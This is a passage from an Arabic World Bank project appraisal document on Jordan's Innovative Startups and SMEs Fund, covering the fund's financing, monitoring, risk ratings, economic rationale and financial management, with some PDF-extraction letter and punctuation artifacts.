تسديد قرض البنك الدولي على عائدات الصندوق أو إغالقه. يلتزم البنك المركزي األردني بض ّخ مبلغ قدره 48 مليون دوالر في رأس مال الصندوق، إضافة إلى قرض البنك الدولي. وعليه سوف يكون إجمالي رأس مال الصندوق 98 مليون دوالر، وهو مبلغ يكفي لعمل المشروع حتى نهاية مدته )12+2+1 عام( مما يتيح له فرصة إعادة التوازن إلى استثماراته، وتحقيق االستدامة حتى يتم اإلنسحاب من االستثمارات. تستغرق االستثمارات في المرحلة المبكرة في األردن فترة تتراوح في المتوسط بين 7 و9 سنوات قبل السماح لها بتسييل حصتها. وعند مراجعة المشروع متوسطة المدى، سوف يقوم كل من البنك الدولي، ولجنة المتابعة، والبنك المركزي األردني، بمراجعة أداء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من حيث االستدامة، وتحقيق هدف المشروع بالتشاور مع الجهات المعنية من الحكومة والقطاع الخاص، واتخاذ قرار بشأن اإلجراءات المناسبة الالزم اتخاذها عند الحاجة. صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية تمتلك الشركة األردنية لضمان القروض 51 %من األسهم وتقوم بدور رئيس مجلس اإلدارة 49 %من األسهم يمتلكها البنك المركزي األردني الشريك الموصي اتفاقية المساهمين اتفاقية اإلدارة تراجع لجنة االستثمار وتختار االستثمارات مدير صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية )وحدة تنفيذ المشروع( المؤسسات النظام البيئي الصناديق الصغيرة والمتوسطة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 27 ب- نتائج المتابعة والتقييم 59 -يتضمن دليل عمليات المشروع الجوانب التشغيلية إلطار المتابعة والتقييم. تشمل المهام ذات الصلة: )أ( وضع طريقة منهجية ا لتحقيق المتطلبات األساسية من البيانات كما تحدد الطريقة المنهجية المتبعة، و)ب( ً للمتابعة والتقييم، وخطة تنفيذها، ونهج إعداد تقارير متابعة سنوية ونصف سنوية للمشروع تتضمن بيانات موجزة لألداء بشكل مجمل مقارنة باألهداف، و)ج( مراجعات متابعة وتقييم سنوية تشمل ضمان مشاركة المواطن. 60 -يضطلع صندوق الشركات الناشئة والمؤسسات الصغيرة المتوسطة االبتكارية بالمسئولية األساسية في متابعة نتائج المستفيدين النهائيين والصناديق والمؤسسات الوسيطة، طبقاً إلطار نتائج المشروع، وإرشادات المتابعة والتقييم المحددة في الملحق رقم 1 المرفق بهذه الوثيقة ودليل عمليات المشروع. في حالة الصناديق ومقدمي الدعم للنظام البيئي الشامل، سوف يكون من الالزم أن تتضمن طلباتهم المقدمة للصندوق للحصول على التمويل توضيح لآلليات التي سيستخدمونها من رتين سنوياً أجل تنفيذ المتابعة والتقييم. سوف تقدم الصناديق والمؤسسات الوسيطة في النظام البيئي تقرير متابعة وتقييم م إلى الصندوق. سوف يكون الصندوق مسئوال عن تقديم تقرير متكامل عن المتابعة والتقييم إلى البنك الدولي، وبيانات كمية يتم جمعها من المستفيدين من المشروع والمستثمرين ومديري الصناديق. يمكن للبنك الدولي تنظيم تدريب متابعة وتقييم للصندوق والمؤسسات الوسيطة بحسب ما تدعو الحاجة إلى ذلك. 61 -كذلك سوف يتولى الصندوق، في إطار مسئولياته الخاصة بمتابعة النتائج، استكشاف طريقة لقياس توفير الوظائف غير المباشرة ومتابعة تلك النتائج ألقصى حد ممكن وفقاً ألفضل الممارسات. إلى جانب ذلك، من الممكن أن يجذب المشروع رواد األعمال أو المستثمرين من الالجئين السوريين، وينبغي على الصندوق متابعة هذا األمر في إطار أنشطة المتابعة والتقييم الخاصة بالمشروع. ج- االستدامة 62 -يتضمن تصميم المشروع هيكل مالي يحقق التوازن بين الفئات المختلفة )مرحلة رأس التأسيس/ التمويل، والمرحلة المبكرة، ورأس المال المخاطر ( مما يدعم استدامة العمليات. بالنظر إلى فئة االستثمار الذي يتضمن قدر كبير من المخاطر، من غير المتوقع أن يحقق صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية معدل العائد الداخلي الذي يستهدفه السوق الخاص، لكن استراتيجية االستثمار المقترحة من جانب الصندوق تحقق توازن بين الفئات الثالثة لالستثمارات )رأس المال األولي/المرحلة المبكرة/ رأس المال المخاطر( بحيث يتم إتاحة تحقيق تراكم إيجابي للعائدات يساعد على استمرار إدارة االستثمارات بعد انتهاء المشروع، ويغطي تكلفة القرض. يمكن توظيف صافي األرباح )حصة الحكومة من العائدات( لتعويض الحكومة عن تكلفة االقتراض )ينبغي مالحظة أن الهدف من استراتيجية االستثمار هو هدف تنموي، ولن تربط الحكومة العائدات التي يحققها الصندوق بتسديد القرض ألن العائدات غير مضمونة(. إضافة إلى ذلك، يلتزم البنك المركزي األردني بتقديم 48 مليون دوالر إلى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية وهو ما يساعد على استمرار عمل الصندوق بعد انقضاء مدة المشروع، ويمنح الصندوق فرصة تسييل بعض االستثمارات، وإعادة التوازن لوضعه في استثمارات أخرى من أجل الحفاظ على االستدامة. ويتضمن ملحق رقم 8 التوقعات المالية على أساس عدة سيناريوهات توضح صافي عائدات الحكومة بعد دفع كافة تكاليف المشروع. 63 -دون النظر إلى ما إذا كانت الحكومة تحقق عائد إيجابي أم ال، سوف يكتسب رواد األعمال، الذين تم دعمهم طوال فترة المشروع، ثم أخفقوا، خبرة وعلم ذي قيمة كبيرة مما يساعدهم على إنشاء شركات جديدة أفضل، وكذلك سوف يعود هذا بالنفع على المجال، واألطراف المقدمة للخدمات به )المحامين، والمحاسبين، وغيرهم(. وسوف يساعد تجميع هذه المعرفة والقدرات بشكل إيجابي في تحقيق النمو االقتصادي. . المخاطر األساسية خامساً 64 -قيمت المخاطر اإلجمالية لتشغيل المشروع بأنها "كبيرة". ويتصل هذا التقييم بالبيئة االقتصادية الكلية واالستراتيجيات في القطاع المعني والتصميم الفني للمشروع والقدرة المؤسسية. أما المخاطر االئتمانية فقيّمت بأنها "مرتفعة. أ- التقييم اإلجمالي للمخاطر وشرح أبرزها 65 -مخاطر االقتصاد الكلي )مخاطر كبيرة(. كان النمو االقتصادي هزيال، ومن المتوقع أن يستمر ركوده وسهولة تعرضه لعدم استقرار المنطقة، ولكن الحكومة قد أبدت حتى اآلن قدرتها على إدارة هذه الصدمات. للصدمات نظرا ساهم تنفيذ الكثير ً من البرامج والجهات المانحة في دعم هدف تحقيق استقرار االقتصاد الكلي، ويشمل هذا الدعم إجراء ترتيبات موسعة بقيمة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 28 723 مليون دوالر تحت إشراف مرفق الصندوق الموسع، وقد اعتمدها المجلس التنفيذي لصندوق النقد الدولي في أغسطس/ آب 2016 ،عالوة على السلسلة المتصلة من تمويل سياسة التنمية الخاصة بالبنك الدولي. 66 -االستراتيجيات والسياسات القطاعية )مخاطر كبيرة( على الرغم من وجود بعض المبادرات الحكومية المنفذة في اآلونة األخيرة )إنشاء سجل ائتماني، ونظام للدفع عن بعد، وصندوق ضمان الشركات الناشئة، ودعم إقراض المؤسسات متناهية الصغر والصغيرة والمتوسطة(، فإن الشركان الناشئة ال تزال تواجه تحديات في بدء نشاطها التجاري وتحقيق نموها )من األسباب ارتفاع التكاليف وكثرة التشريعات التي تنظم أهلية التسجيل ضمن األعمال التجارية، وغياب أطر المعامالت المضمونة الالزمة والقوانين التي تضمن التمويل في حاالت اإلفالس، وجمود نظام الضرائب على األعمال التجارية، مما يثبط الكثير من المشروعات ويجعل أصحابها يحجمون عن الدخول في القطاع الرسمي(. وقد اتخذت عدة تدابير للتخفيف من أثر المشكالت المذكورة، منها استخدام أدوات تمويل مرنة لخفض تكاليف بدء األعمال التجارية وإنمائها. ومع ذلك، فسوف تظل مخاطر االستراتيجية القطاعية تقيّم بأنها كبيرة ما لم تتخذ إصالحات ملموسة بهدف جذب الكثير من رواد األعمال والمستثمرين. 67 -التصميم الفني للمشروع )مخاطر كبيرة(. أ. المزاحمة. قد تؤدي التدخالت الحكومية الكبرى إلى خالف ما ترمي إليه، فتؤدي مثال إلى مزاحمة استثمارات القطاع الخاص، وال سيما عندما تكون فرص االستثمارات القابلة لالستمرارية محدودة. وللتخفيف من حدة هذه المخاطر، سيقدم المشروع رأس مال صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية على مراحل زمنية بالتنسيق مع البنك المركزي األردني، وبذلك يمكن تفادي إغراق السوق دفعة واحدة بالتمويل بأكمله، ويتاح للمستثمرين من القطاع الخاص فترة كافية للمشاركة باعتبارهم شركاء في االستثمار. وباإلضافة إلى ذلك، سوف يشتمل المشروع المقترح، لضمان مشاركة القطاع الخاص، على نهج قائم على مشاركة القطاع الخاص في ار، بحيث يستفيد القطاع الخاص من تمويل الصندوق ويتحمل قدراً االستثم من مخاطر الصفقات أو يستفيد من رأس مال الصندوق لتمويل الصناديق الحاصة، وبذلك تحصل كافة األطراف الفاعلة على فرصة للمشاركة. ب. إشراك القطاع العام في اختيار االستثمارات وإدارتها. تكشف التجارب السابقة أن العوائق التشغيلية المفروضة على األجهزة الحكومية وميل الموظفين الحكوميين لتجنب المخاطر، عالوًة على انعدام المعرفة والخبرات المباشرة في مجال ريادة األعمال، كل ذلك يجعل من الصعب أن يستطيع القطاع العام اختيار الصفقات بالسرعة والمرونة الالزمتين. وبنا ًء عليه، فمن األفضل اتباع نهج يعتمد على القطاع الخاص في اإلدارة واتخاذ القرارات. ويأخذ المشروع المقترح هذا األمر بعين االعتبار، إذ ينص على أن الجهة المنفذة للمشروع سوف تختار، على أساس للصندوق من القطاع الخاص يتولى اختيار االستث تنافسي، مديرا مارات وإدارتها بالتعاون مع مجلس إدارة ولجنة ً استثمار أغلب أعضائهما من القطاع الخاص. ت. ضعف الصفقات المتوقع تنفيذها. يؤكد المستثمرون وفرة األفكار االبتكارية، لكنهم يشكون ندرة المقترحات التجارية الجيدة ورواد األعمال المحترفين، وقد يؤثر ذلك على حجم االستثمارات التي يقوم بها صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية، مما يؤثر بدوره على نفقات المشروع. ولتخفيف حدة هذا النوع من المخاطر، يشتمل المشروع على مكون معني بخلق تدفق صفقات، ويهدف لتحسين الشركات الناشئة القابلة . وتعد المخاطر من هذا النوع كبيرة لوجود فترة مبدئية )أول سنتين من فترة المشروع( تعاني لالستمرارية كماً وكيفاً من ضعف تدفق الصفقات إلى أن تحدث أنشطة تدفق الصفقات أثرها المتوقع. 68 -القدرة المؤسسية على التنفيذ والحفاظ على االستدامة )مخاطر كبيرة( تعمل الشركة األردنية لضمان القروض في مجال لحل هذه المشكلة، سوف يعين ضمان االئتمان، وال تتمتع بالقدرة على تشغيل االستثمارات في رأس المال وإدارتها. وسعياً مقترحات، مديراً المشروع، عبر إعالن دولي لتقديم ال يتمتع بخبرة واسعة في هذا المجال، فيدير الصندوق ويعين الموظفين المؤهلين الالزمين الستكمال عملياته. ويشير الخبراء بأن األردن تحظى بعدد كبير من مديري االستثمار والموظفين المؤهلين، باإلضافة إلى المتواجدين في الشرق األوسط وشمال أفريقيا والمنطقة والعالم، فلن يكون من الصعب إيجاد من يدير المشروع. وبالنسبة لمعايير اختيار مدير الصندوق واألحكام والمعايير والمبادئ التوجيهية الخاصة بتنفيذ المشروع التي يتعين على المدير كة مستشاراً محلياً االلتزام بها، فسوف ينص عليها دليل عمليات المشروع المعتمد من البنك الدولي. وقد عينت الشر ، خالل فترة اإلعداد للمشروع، ليتعاون معها في إعداد الشروط المرجعية ومعايير التقييم وعملية تقديم العطاءات ووضع دليل عمليات للشروط المرجعية التي كان فريق البنك الدولي قد أعدها. وسوف ينص دليل عمليات المشروع بكل وضوح المشروع وفقاً على أدوار الشركة ومسئولياتها، كما سيحصل كل موظفي الصندوق والشركة على دورات تدريبية بشأن المبادئ التوجيهية ونظرا مدير ً للبنك الدولي وإجراءاته المتبعة في أمور اإلدارة المالية والشراء والضمانات الوقائية والتقييم والمتابعة. لعدم تعيين المشروع وفريقه بعد، فإن مخاطر هذه الفئة تقيم بأنها كبيرة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 29 69 -االئتمان )مخاطر مرتفعة(. تعكس المخاطر االئتمانية اإلجمالية مخاطر اإلدارة المالية. أ- اإلدارة المالية ال يوجد لدي صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية وال الشركة األردنية لضمان القروض خبرة في إدارة المشروعات التي يمولها البنك الدولي )عبر القروض(، وقد ال يكون موظفي اإلدارة المالية في كلتا الجهتين مؤهلين لتولي أمور اإلدارة المالية ومهام الدفع على النحو الالزم. ويشتمل المشروع على معامالت استثمارية معقدة ودعم مالي مقدم للوسطاء، ولذلك فإن نظام اإلدارة المالية والضوابط الداخلية قد يكونا غير كافيين لضمان توزيع أموال المشروع وإدارتها على النحو الالزم لتحقيق األهداف المرجوة بكفاءة واقتدار اقتصادي. ونظراً الشتراك عدة أطراف، فقد يضطرب تدفق األموال في إحدى مراحل عملية التدفق ألسباب عدة، منها مشكالت قانونية أو عوائق تتصل باإلمكانات. ولذلك فقد قيّمت مخاطر اإلدارة المالية بأنها مرتفعة. وللتخفيف من أثرها )انظر الملحق رقم الثاني 2 لمزيد من التفاصيل(، سيتعين على المشروع القيام بما يلي: )أ( تعيين مسئول مالي عن المشروع يتسم بالكفاءة ومحاسب أول للشركة األردنية لضمان القروض بحيث يكمل كل منهما أدوار اآلخر؛ )ب( فتح حساب مخصص تديره الشركة األردنية وحساب فرعي يديره الصندوق؛ و)ج( االقتصار في استثمارات الصندوق على الجهات لقرارات مجلس إدارة الصندوق أو لجنة االستثمار أو كليهما معاً وفقاً المعتمدة وفقا للمبادئ التوجيهية الواردة في دليل ً عمليات المشروع؛ )د( االلتزام بنسب التمويل التي تعكس حصص المشاركين في أنشطة التمويل مع البنك المركزي األردني؛ )هـ( إعداد فصل حول اإلدارة المالية في دليل عمليات المشروع واعتماده؛ )و( التزام الصندوق بشراء نظام محاسبي وتشغيله؛ )ح( إعداد تقارير مالية مؤقتة غير مدققة وتسليمها، وتعيين مدقق حسابات خارجي للتدقيق في القوائم المالية السنوية؛ )ط( التزام الصندوق بتعيين مدقق حسابات داخلي وتعيين شركة استشارية أو توسيع نطاق عمل المدقق الداخلي لإلبالغ عن مدى امتثال الصندوق في االستثمارات التي يقوم بها لمعايير االختيار واإلجراءات االستثمارية المنصوص عليها في دليل عمليات المشروع. وبعد تطبيق تدابير الحد من المخاطر السابقة، سوف تقيم المخاطر المتبقية بانها كبيرة. ب- المشتريات: نظراً ألن مخاطر الشراء تتوقف على اختيار المدير والموظفين، فقد كان من الممكن تقييمها بأنها منخفضة، ولكن بعد األخذ في االعتبار أهمية هذا االختيار وتأثيره في تنفيذ المشروع كامال، فقد تقرر تقييم مخاطر المشتريات بأنها متوسطة. . ملخص التقييم سادساً أ- التحليل المالي واالقتصادي 70 -من شأن ازدهار مجال االستثمار في رأس المال المخاطر )ويشمل ذلك شبكات رعاة األعمال( أن يزيد الشركات الناشئة ومعدل خلق الوظائف. وقد أجريت عدة دراسات في الواليات المتحدة )حيث بدأت سوق رأس المال المخاطر( لقياس أثر رأس مال المخاطر على األسواق الحضرية المحلية على مدار عشر سنوات، وتوصل الباحثان ساميال وسورينسو إلى ن أنه كلما زاد اإلمداد المحلي من رأس المال المخاطر )للشركات الناشئة والشركات في المراحل المبكرة( زاد عدد الشركات الناشئة والوظائف والدخل اإلجمالي؛ ويرجع ذلك ألن رواد األعمال في مقتبل حياتهم المهنية يدركون احتياجهم لرأس المال في المستقبل، وسوف يبادر كثير منهم بالعمل إذا رأوا توافر تمويل مالئم، وألن الشركات التي تحصل على تمويلها من رأس مال المخاطر تشجع الشركات األخرى على خوض ريادة األعمال إما بإبراز نجاحاتها أو بتدريب المقبلين على تأسيس الشركات. كما إن استثمارات رأس مال المخاطر تجلب قيمة مضافة بخالف التمويل، تشمل على سبيل المثال زيادة تدريب الموظفين وتحسين حوكمة الشركات وشفافيتها في أمور مثل التدقيق المالي وأدوات اإلبالغ ومتابعة الموازنة ومؤشرات اإلشراف واألداء. 71 -تسهم الشركات الناشئة إسهاماً هائال في زيادة خلق الوظائف، وتؤثر شبكات رعاة األعمال تأثيرا مجديا على نمو هذه الشركات وأدائها واستمرارها، حتى وإن كانت تلك الشبكات تعمل في اقتصادات غير داعمة لرواد األعمال. وقد توصل بحث إلى أن الشركات الناشئة التي يدعمها رعاة أعمال يزداد احتمال استمرارها ألكثر من 18 24 أجرته كلية هارفارد لألعمال أو أكثر بعد تلقيها التمويل بنسبة شهرا 14 %مقارنة بالشركات األخرى. ويشير البحث نفسه أن تلك الشركات تعين موظفين ً أكثر بنسبة 40 ،%كما إن دعم رعاة األعمال يزيد احتمال التخارج الناجح من مرحلة التأسيس بنسبة 10 %لتصل النسبة اإلجمالية إلى 17 .%وبالمثل، ففي البلدان األخرى غير الواليات المتحدة يزداد احتمال جذب هذه الشركات لمن يمول متابعة أنشطتها. وتشير دراسة حديثة أجرتها منظمة التعاون والتنمية في المجال االقتصادي عام 2015 على المؤسسات الصغيرة 24 عولمة استثمارات رعاة األعمال: أدلة من بلدان مختلفة، كلية هارفارد لألعمال، ورقة العمل رقم 16-072 ،28 فبراير 2016. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 30 والمتوسطة أن المؤسسات متناهية الصغر )أقل من 10 موظفين( مسئولة عن 58 %من صافي النمو في عدد الوظائف )وهي أعلى نسبة(، وقد خلقت المؤسسات الجديدة )أصغر من 5 أعوام( األغلبية الساحقة من الوظائف الجديدة. وكذلك يؤكد تحليل الواردة في تقرير البنك الدولي بعنوان "وظائف من أجل النمو" )2015 )أن المؤسسات الجديدة 25 بيانات تعداد المؤسسات والمؤسسات عالية اإلنتاجية تخلق أكثرية الوظائف في الشرق األوسط وشمال أفريقيا؛ ففي األردن على سبيل المثال، يذكر التقرير أن المؤسسات األردنية الجديدة )التي تزاول نشاطها منذ 4 سنوات على األكثر( والتي يستهدفها المشروع ساهمت في خلق أكثر من 40 %من صافي الوظائف الجديدة بين 2006 و 2011 .ومن بين هذه المؤسسات الجديدة، خلقت الشركات الناشئة متناهية الصغر )أقل من 5 موظفين( أكثر من نصف النسبة المذكورة، أي أكثر من نصف صافي الوظائف الجديدة في 26 هذه السنوات الخمس، ويبلغ عددها اإلجمالي زهاء 8000 وظيفة )شكل رقم 8) . 72 -سوف تزداد اإليرادات الحكومية من هذا المشروع على المدى الطويل عبر إيرادات الضرائب باإلضافة إلى مساهمته في التوزان التجاري عن طريق زيادة الصادرات. وكذلك سيظهر أثر المشروع االقتصادي في خلق الوظائف بمجرد إبراز المؤسسات المشاركة فيه لنجاحاتها وتوجيه المزيد من االستثمارات إلى المؤسسات األكثر إنتاجية وتنافسية التي تقدم وظائف أفضل، وإنشاء الشركات المنبثقة الجديدة وتحقيق نمو الشركات في سلسلة القيمة. األساس النظري لتمويل القطاع العام 73 -وفقاً لتقرير أعده فريق التقييم المستقل التابع للبنك الدولي بعنوان "المجال التجاري الكبير للمؤسسات الصغيرة" )2014،) أي نظرية ذات مصداقية تسعى لتغيير نظام المساعدات المقدمة إلى المؤسسات متناهية الصغر والصغيرة والمتوسطة ينبغي أن تركز على خلق إمداد مستدام من الخدمات )مثل التمويل وخدمات تنمية األعمال التجارية والتدريب( عبر إنشاء أسواق ومؤسسات مستقرة، وعدم االقتصار على تقديم المزايا المؤقتة لقلة قليلة من المؤسسات خالل فترة المشروع. وهناك ثالثة أسباب متضافرة وراء تقديم األسواق تمويل أقل من الالزم للشركات في المراحل المبكرة: أال وهي: المعلومات غير المتماثلة )لدى األطراف المعنية( واإلخفاقات المؤسسية واإلخفاق في التنسيق. ويتعين على الحكومة اتخاذ خطوات لحل كل منها، سواء لكل عنصر )المعلومات غير كان ذلك بإصالح السياسات أو بالتدخل المباشر. يقدم القسم الثاني من الملحق رقم 4 شرحاً المتماثلة واإلخفاقات المؤسسية واإلخفاق في التنسيق(. ويسعى هذا المشروع لتصحيح اإلخفاق في التنسيق في السوق الذي عرقل تطوير مجال االستثمار في رأس المال المخاطر في األردن. 74 -يشير اإلخفاق في التنسيق إلى وضع يخفق فيه مجال االستثمار في رأس المال المخاطر أن يتطور بسبب ضعف النظام البيئي الشامل، وذلك لعدة أسباب منها عدم وجود عدد كافٍ من الشركات الناشئة الواعدة الجاهزة لالستثمار، وعم وجود رعاة أعمال لدعم تلك الشركات في المراحل المبكرة، وعدم وجود المحامين القادرين على التفاوض في الصفقات واالتفاقات التي تبرم مع شركاء التنفيذ، وعدم وجود المهنيين المتخصصين في مجال االستثمار، وعدم وجود أسواق متطورة لعمليات . ولكن تلك المشكالت ال يمكن حلها دون تطوير مجال االستثمار في رأس المال المخاطر . لكن مجال استثمار رأس 27 التخارج المال في األردن يركز في الوقت الحالي على االستثمار في كبرى صفقات االستثمار في رأس المال الخاص، أما االستثمار في رأس المال المخاطر فال يهتم به إال القليل. وفي العادة يتم مواجهة مشكلة اإلخفاق في التنسيق باتباع آلية تقوم الحكومة من خاللها بضخ مؤقت لرأس المال عبر مرفق لمشاركة المخاطر مع المستثمرين من القطاع الخاص إلى أن يتطور المجال تماماً ويستغني عن تلك المساعدات. وقد استخدمت هذه اآللية في أستراليا والبرازيل والهند وإسرائيل والواليات المتحدة األمريكية والمملكة المتحدة وكندا. ب- تحليل الجوانب الفنية 75 -أجرى مشروع البنك الدولي تقييماً للشركة األردنية لضمان القروض وتضمن التقييم مراجعة للهيكل القانوني للشركة، وبناء على هذا التقييم تم تصميم المشروع. وكانت الشركة األردنية قد تأسست سنة 1994 باعتبارها شركة مساهمة عامة برأس مال لتقديم الضمانات للقروض التجارية الممنوحة للمؤسسات الصغيرة والمتوسطة. وباعتبارها شركة مساهمة عامة، تخضع . والشركة مكلفة قانوناً الشركة األردنية إلشراف هيئة سوق المال األردنية بإنشاء وإدارة جميع أنواع الشركات أو المشروعات والمساهمة في رأس مالها. يقوم بإدارة شئون هذه الشركة مجلس إدارة مؤلف من 7 أعضاء. ويكلف البنك المركزي األردني قاعدة بيانات البنك الدولي للدراسات االستقصائية. 25 التقرير اإلقليمي للبنك الدولي لعام 2014" :الوظائف أو االمتيازات: خلق فرص العمل في منطقة الشرق األوسط وشمال أفريقيا"؛ التقرير الموجز 26 الخاص باألردن. حاالت التخارج: ال تعتبر العروض العامة األولوية، بطبيعة الحال، من استراتيجيات التخارج القابلة لالستمرارية في معظم االقتصادات الناشئة ذات 27 أسواق رأس المال المتأخرة، ولذلك فإن صناديق االستثمار الخاص/ رأس المال المخاطر تميل لالعتماد في تسهيل التخارج على المبيعات إلى الرعاة . الماليين االستراتيجيين او الصكوك التي تسدد ذاتياً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 31 اثنين من أعضائه، أحدهما رئيس مجلس اإلدارة بتمثيل البنك في مجلس إدارة الشركة، حيث أن مساهمته في الشركة تظل عند 45 %أو أكثر من رأس مالها. أما عن األعضاء الخمسة المتبقين، فيتم اختيارهم بمعرفة الجمعية العمومية للمساهمين )باستثناء ممثل البنك المركزي(، وذلك لتمثيل بقية المساهمين عمال بالقوانين واللوائح السارية وقانون الشركات. أسهم الشركة األردنية موزعة كالتالي: 49 %يمتلكها البنك المركزي األردني، 15 %يتم تداولها في سوق البورصة األردنية، والنسبة المتبقية موزعة بين البنوك الخاصة األردنية والبنوك اإلقليمية والمستثمرين في المؤسسات )شركات التأمين ومؤسسة الضمان االجتماعي( حسب نسبة مساهمة كل منها. مدة العضوية في مجلس اإلدارة 4 سنوات تنتهي بانتخاب أعضاء مجلس اإلدارة الجديد. 76 -أثبتت عمليات التقييم التشغيلي التي أجراها البنك الدولي عام 2011 ومؤسسة التمويل الدولية عام 2012 حول الشركة األردنية لضمان القروض في إطار عمليات المساعدة الفنية المقدمة من قبل أن الشركة معتادة على نظام البنك )على الرغم من محدودية المساعدة الفنية(. في عام 2013 ،بدأت مؤسسة التمويل الدولية والبنك الدولي لإلنشاء والتعمير، من خالل مرفق المساعدة الفنية للمشروعات متناهية الصغر والصغيرة والمتوسطة اإلقليمية بمنطقة الشرق األوسط وشمال إفريقيا، العمل على تحسين اإلطار المؤسسي في األردن من خالل إنشاء أول مكتب استعالم ائتماني خاص في البالد، ودعم الشركة األردنية في إدارة المخاطر وتنمية األعمال والمنتجات )مع التركيز على منتجات المؤسسات متناهية الصغر والصغيرة والمتوسطة(، والتسويق والتواصل للمساعدة في توسيع نطاق انتشارها وزيادة أثر منتجات المؤسسات الصغيرة والمتوسطة التي تدعمها الشركة. ومع ذلك، ال تضخ الشركة األردنية استثمارات رأس المال في المؤسسات الصغيرة والمتوسطة، وبالتالي فإنها ال تمتلك القدرة على تنفيذ أنشطة المشروع. وحتى تتمكن من ذلك، فسوف تقوم الشركة باختيار مدير يضطلع بمسئولية إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية وتعيين فريق العمل به، وتتم عملية االختيار إلى المعايير التنافسية العالمية. ويكون هذا المدير مسئوال أمام الشركة األر استنادا دنية لضمان القروض. وسوف يقوم البنك ً الدولي بتدريب مدير الصندوق المختار وفريق العمل على كيفية تطبيق مبادئه التوجيهية الخاصة بالضمانات الوقائية واالئتمان والمتابعة والتقييم، وسوف يتم إعداد دليل للعمليات ينص على معايير واضحة لتنفيذ األنشطة والحوكمة وإعداد التقارير. ج. اإلدارة المالية 77 -أجرى البنك الدولي تقييماً لنظام اإلدارة المالية المتبع في الشركة األردنية لضمان القروض، وفور إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، سيقوم البنك الدولي كذلك بإجراء تقييم ألنظمة اإلدارة المالية للصندوق، وتوصل التقييم إلى أن تنفيذ اإلجراءات المتفق عليها وترتيبات اإلدارة المالية المقترحة تستوفي الحد األدنى من متطلبات البنك لسياسة العمليات/وإجراءات البنك رقم وفقا 10-00 ،وقد ُصنف معدل مخاطر اإلدارة المالية الحالية بأنه "مرتفعاً"، إال أنه ً بالنظر إلى إجراءات تخفيف المخاطر المقترحة، انخفض تصنيف بقية مخاطر اإلدارة المالية الكلية لهذا التمويل إلى "كبيرة"، ويقدم الملحق رقم 2 معلومات إضافية بشأن تقييم اإلدارة المالية وإجراءات التخفيف الموصى بها، وتحتوي ملفات مشروع البنك الدولي على تقييم مفصل عن قدرات اإلدارة المالية والترتيبات ذات الصلة. 78 -وستقوم الشركة االردنية لضمان القروض بإدارة التنسيق العام لتنفيذ المشروع، بينما سيدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية العمليات اليومية واإلدارة المالية ومهام اإلنفاق. سوف تتمكن الحكومة من خالل استخدام الصندوق بصفته كيان ألغراض خاصة عزل أسهم رأس المال الخاصة في إطار شركة مستقلة وذلك حتى يحين موعد تصفية العائدات النهائية وإعادتها إلى الحكومة األردنية. ويتوجب على الصندوق القيام بعدة أمور من بينها، الحفاظ على تطبيق أنظمة إدارة مالية مالئمة وكافية بما في ذلك سجالت وحسابات وقوائم مالية تعكس عمليات المشروع وموارده ونفقاته بشكل كافي. وبمجرد إنشاء الصندوق، سيقوم فريق اإلدارة المالية بالبنك الدولي بإجراء تقييم لإلدارة المالية للتأكد من قيام الصندوق بإجراء تقييم مالئم لإلدارة المالية ألغراض المشروع. وسوف يضم فريق العمل في الصندوق مسئول مالي أول يتقاضى أتعابه من عائدات القرض وسيعمل تحت إشراف مدير عام الصندوق. ومن احية أخرى، تحتاج الشركة االردنية، نتيجة للقيود المفروضة على القدرات، إلى تعيين محاسب أول يعمل بدوام جزئي يتقاضى أتعابه من المشروع ليضطلع بمهمة تنسيق النواحي المالية ونواحي اإلنفاق الخاصة بالمشروع مع كبير الموظفين الماليين في الصندوق. 79 -سيمول المشروع استثمارات التمويل المختلط من رأس المال والدين وكذلك تمويل الخدمات المتفق عليها التي سيقدمها مقدمي الدعم إلى وكالء النظام البيئي الشامل من أجل تحفيز تنفيذهم للنشاطات اإلبتكارية التي ُتسرع من معدل تدفق الصفقات في األردن. وسيتم االستعانة بمقدمي خدمات متخصصين لتنفيذ كل عناصر أنشطة تدفق الصفقات )بما في ذلك برامج بنا ًء على نتائج واضحة تدرج في عقود أو ُ التنشيط وخدمات تنمية األنشطة التجارية وتنمية شبكات المستثمريين الممولين( اتفاقيات الشراكة، وسيتناول دليل عمليات المشروع أنواع البرامج بالتفصيل، وسيتم إجراء تقييم إدارة مالية بسيط فيما يتعلق بمقدمي الدعم الذين سيقومون بتنفيذ األنشطة المسندة إليهم لضمان تنفيذ أنظمة إدارة مالية مقبولة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 32 80 -ستجري الشركة األردنية لضمان القروض عمليات تدفق التمويالت من خالل حساب مخصص يتم فتحه للمشروع في أحد البنوك التجارية المعتمدة لدى البنك الدولي، وتحول الشركة األردنية التمويالت من الحساب المخصص إلى حساب شركات صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ويستخدم حساب شركات الصندوق لتمويل أنشطة الصندوق المختلفة، بما في ذلك استثمارات التمويل المختلط من رأس المال والدين وتسديد مقدمي الدعم لمدفوعات تتعلق بتكلفة الخدمات وكذلك تكاليف إدارة المشروع، وتكون الشركة األردنية مسئولة عن إعداد طلبات السحب للمطالبة بدفع مقدمة، وما يتبعها من تجديدات وتعويضات من البنك الدولي. 81 -سيجهز صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية نظام مالي مقبول يقوم بتتبع المدفوعات وتكاليف االستثمارات وإعادة تسديد أسهم رأس المال المباشر ومواعيد السداد ومردود االستثمار 